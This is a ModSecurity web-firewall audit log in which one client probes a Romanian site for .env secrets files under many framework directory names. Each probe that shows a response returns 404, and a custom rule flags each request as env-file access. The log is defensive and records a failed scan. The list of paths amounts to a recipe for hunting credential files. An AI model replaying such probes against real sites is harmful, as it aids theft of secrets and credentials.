Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--2356e365-Z--
--930b7452-A--
[13/Sep/2026:05:34:22.521203 +0300] aqYLrmM7dE9KgIIOpQhdowAAAME 34.175.231.24 45142 127.0.0.1 7081
--930b7452-B--
GET /symfony/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--930b7452-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--930b7452-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/symfony/.env"] [unique_id "aqYLrmM7dE9KgIIOpQhdowAAAME"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266862395346 125964 (- - -)
Stopwatch2: 1789266862395346 125964; combined=4641, p1=288, p2=4252, p3=0, p4=0, p5=101, sr=105, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--930b7452-Z--
--18b76b25-A--
[13/Sep/2026:05:34:23.792734 +0300] aqYLrzTJ6xTvcJoem7f1fQAAAE0 34.175.231.24 45158 127.0.0.1 7081
--18b76b25-B--
GET /wordpress/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--18b76b25-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--18b76b25-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/wordpress/.env"] [unique_id "aqYLrzTJ6xTvcJoem7f1fQAAAE0"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266863660484 132345 (- - -)
Stopwatch2: 1789266863660484 132345; combined=5426, p1=323, p2=5014, p3=0, p4=0, p5=89, sr=119, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--18b76b25-Z--
--c086a303-A--
[13/Sep/2026:05:34:24.985598 +0300] aqYLsGM7dE9KgIIOpQhdpAAAAMU 34.175.231.24 45166 127.0.0.1 7081
--c086a303-B--
GET /wp/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--c086a303-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--c086a303-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/wp/.env"] [unique_id "aqYLsGM7dE9KgIIOpQhdpAAAAMU"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266864855379 130372 (- - -)
Stopwatch2: 1789266864855379 130372; combined=5760, p1=748, p2=4929, p3=0, p4=0, p5=83, sr=406, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--c086a303-Z--
--73e3ee37-A--
[13/Sep/2026:05:34:26.135470 +0300] aqYLsjTJ6xTvcJoem7f1fgAAAEI 34.175.231.24 45426 127.0.0.1 7081
--73e3ee37-B--
GET /cms/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--73e3ee37-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--73e3ee37-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/cms/.env"] [unique_id "aqYLsjTJ6xTvcJoem7f1fgAAAEI"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266866006737 128808 (- - -)
Stopwatch2: 1789266866006737 128808; combined=4319, p1=228, p2=4021, p3=0, p4=0, p5=70, sr=89, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--73e3ee37-Z--
--a8b05f2b-A--
[13/Sep/2026:05:34:27.314415 +0300] aqYLszTJ6xTvcJoem7f1fwAAAEY 34.175.231.24 45436 127.0.0.1 7081
--a8b05f2b-B--
GET /drupal/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--a8b05f2b-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--a8b05f2b-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/drupal/.env"] [unique_id "aqYLszTJ6xTvcJoem7f1fwAAAEY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266867185945 128524 (- - -)
Stopwatch2: 1789266867185945 128524; combined=5385, p1=302, p2=5029, p3=0, p4=0, p5=54, sr=131, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--a8b05f2b-Z--
--3ca60241-A--
[13/Sep/2026:05:34:28.718288 +0300] aqYLtDTJ6xTvcJoem7f1gAAAAEo 34.175.231.24 45448 127.0.0.1 7081
--3ca60241-B--
GET /joomla/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--3ca60241-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--3ca60241-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/joomla/.env"] [unique_id "aqYLtDTJ6xTvcJoem7f1gAAAAEo"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266868580850 137495 (- - -)
Stopwatch2: 1789266868580850 137495; combined=11969, p1=296, p2=5048, p3=0, p4=0, p5=6625, sr=127, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--3ca60241-Z--
--d4313b4e-A--
[13/Sep/2026:05:34:30.118063 +0300] aqYLtjTJ6xTvcJoem7f1gQAAAEk 34.175.231.24 45456 127.0.0.1 7081
--d4313b4e-B--
GET /magento/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--d4313b4e-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--d4313b4e-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/magento/.env"] [unique_id "aqYLtjTJ6xTvcJoem7f1gQAAAEk"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266870004649 113469 (- - -)
Stopwatch2: 1789266870004649 113469; combined=4300, p1=240, p2=4003, p3=0, p4=0, p5=57, sr=102, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--d4313b4e-Z--
--22f77c59-A--
[13/Sep/2026:05:34:31.769979 +0300] aqYLt2M7dE9KgIIOpQhdpQAAANI 34.175.231.24 45466 127.0.0.1 7081
--22f77c59-B--
GET /shopify/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--22f77c59-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--22f77c59-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/shopify/.env"] [unique_id "aqYLt2M7dE9KgIIOpQhdpQAAANI"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266871647014 123069 (- - -)
Stopwatch2: 1789266871647014 123069; combined=4131, p1=243, p2=3785, p3=0, p4=0, p5=103, sr=101, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--22f77c59-Z--
--fb705767-A--
[13/Sep/2026:05:34:33.096135 +0300] aqYLuDTJ6xTvcJoem7f1ggAAAEg 34.175.231.24 45472 127.0.0.1 7081
--fb705767-B--
GET /prestashop/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--fb705767-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--fb705767-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/prestashop/.env"] [unique_id "aqYLuDTJ6xTvcJoem7f1ggAAAEg"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266872972010 124180 (- - -)
Stopwatch2: 1789266872972010 124180; combined=4961, p1=237, p2=4669, p3=0, p4=0, p5=54, sr=101, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--fb705767-Z--
--da517126-A--
[13/Sep/2026:05:34:34.333593 +0300] aqYLukwu1RSkptiiNIXtmQAAAIU 34.175.231.24 45478 127.0.0.1 7081
--da517126-B--
GET /codeigniter/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--da517126-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--da517126-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/codeigniter/.env"] [unique_id "aqYLukwu1RSkptiiNIXtmQAAAIU"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266874208334 125348 (- - -)
Stopwatch2: 1789266874208334 125348; combined=4234, p1=212, p2=3926, p3=0, p4=0, p5=96, sr=90, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--da517126-Z--
--a2ada64b-A--
[13/Sep/2026:05:34:35.884894 +0300] aqYLu0wu1RSkptiiNIXtmgAAAIM 34.175.231.24 42172 127.0.0.1 7081
--a2ada64b-B--
GET /cakephp/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--a2ada64b-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--a2ada64b-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/cakephp/.env"] [unique_id "aqYLu0wu1RSkptiiNIXtmgAAAIM"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266875747252 137706 (- - -)
Stopwatch2: 1789266875747252 137706; combined=5017, p1=203, p2=4763, p3=0, p4=0, p5=51, sr=83, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--a2ada64b-Z--
--0807044c-A--
[13/Sep/2026:05:34:37.433935 +0300] aqYLvWM7dE9KgIIOpQhdqQAAANA 34.175.231.24 42184 127.0.0.1 7081
--0807044c-B--
GET /zend/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--0807044c-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--0807044c-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/zend/.env"] [unique_id "aqYLvWM7dE9KgIIOpQhdqQAAANA"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266877310750 123249 (- - -)
Stopwatch2: 1789266877310750 123249; combined=4424, p1=232, p2=4121, p3=0, p4=0, p5=71, sr=95, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--0807044c-Z--
--2356e365-A--
[13/Sep/2026:05:34:38.560558 +0300] aqYLvkwu1RSkptiiNIXtmwAAAIc 34.175.231.24 42190 127.0.0.1 7081
--2356e365-B--
GET /yii/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--2356e365-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--2356e365-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/yii/.env"] [unique_id "aqYLvkwu1RSkptiiNIXtmwAAAIc"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266878445899 114773 (- - -)
Stopwatch2: 1789266878445899 114773; combined=4186, p1=211, p2=3922, p3=0, p4=0, p5=52, sr=88, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--2356e365-Z--
--54f9b41d-A--
[13/Sep/2026:05:34:39.785440 +0300] aqYLvzTJ6xTvcJoem7f1gwAAAEc 34.175.231.24 42206 127.0.0.1 7081
--54f9b41d-B--
GET /laravel5/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
